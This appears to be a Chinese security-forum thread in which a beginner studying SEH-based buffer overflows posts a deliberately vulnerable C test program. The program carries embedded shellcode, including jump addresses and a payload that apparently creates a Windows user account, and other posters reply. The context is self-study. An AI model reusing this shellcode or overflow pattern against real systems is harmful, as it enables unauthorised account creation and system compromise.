能力值:
( LV2,RANK:10 )
|
-
-
2 楼
晕啊,我发的求助帖子总是没人回复啊,谁能告诉我,是我的这个问题比较罕见,还是我问问题的方式不正确啊???
不好意思啊,顺便问下,如何让程序产生异常 ?
|
能力值:
( LV4,RANK:45 )
|
-
-
3 楼
没看懂 太模糊了 不知道你讲什么
如果是溢出 建议你把代码完整的写上来
|
能力值:
( LV2,RANK:10 )
|
-
-
4 楼
3楼这位兄弟!
晕啊,我只是要知道seh到底是什么,也就是覆盖方式的原理。我已经描述过了,如果要是懂bufferoverflow的话,应该可以回答我,如果你不知道就别说类似听不懂我说什么,好像是我描述的不够详细是的。
源代码无非就是把shellcode strcpy()到buffer而已,关键是shellcode,如果你认为你需要看shellcode才可以确认的话,我可以把嗲吗给你看。
#include <string.h>
int main(void)
{
char buffer[4];
char ShellCode[]=
"\x90\x90\x90\x90" //Overflow buffer
"\x44\x44\x44\x44" //Overflow EBP
"\xff\xff\xff\xff" //Overflow RET
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //nop
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" //nop
"\x04\xeb\x90\x90" //jmp 04
"\x1b\x4a\xfa\x7f" //jmp ebx
"\x8B\xE5\x55\x8B\xEC\x33\xFF\x57\x57\x57\x57\xC7\x45\xF1\x6E\x65" //Create User ShellCode
"\x74\x20\xC7\x45\xF5\x75\x73\x65\x72\xC7\x45\xF9\x20\x6c\x20\x2E"
"\x80\x45\xFC\x01\xC6\x45\xFD\x61\xC6\x45\xFE\x64\x33\xC0\x88\x45"
"\xFF\x8D\x45\xF1\x50\xB8\x4A\x9B\x01\x78\xFF\xD0";
strcpy(buffer,ShellCode);
return 0;
}
|
能力值:
( LV2,RANK:10 )
|
-
-
5 楼
ret已经被覆盖成ffffffff了,但是这样是不是在返回的时候可以把控制交给seh啊。
但是好像是不对的,我用od调试看eip是ffffffff,就无法继续了。我想是不是要在ret之前来触发异常。
还请高手指教,谢谢。
|
能力值:
( LV2,RANK:10 )
|
-
-
6 楼
产生异常的方法很多,你随便弄点不符合Windows API规则的东西就能产生了
比如恶心的一点的,用0来除某个数字,或者throw
|
能力值:
( LV9,RANK:180 )
|
-
-
7 楼
请问你们弄这个在做何用啊?
这论坛好像不管程度高低都在弄这个.
f-.-
|
能力值:
( LV2,RANK:10 )
|
-
-
8 楼
谢谢6楼的兄弟,我的意思是不是可以在shellcode中来弄啊,就是模拟一次攻击啊,呵呵,不希望漏洞程序本身就有异常,我还真不知道怎么做了,我是刚学缓冲区溢出,谢谢指教了。今天刚看了一下这个覆盖方式,就像赶快利用一下。我用od看了下,覆盖的位置都正确就是不知道怎么才可以跳到shellcode了,呵呵。并且我对这个利用方式也是了解一点,我现在在去查查资料吧。
|
能力值:
( LV4,RANK:45 )
|
-
-
9 楼
黑自己的电脑先
|
|
|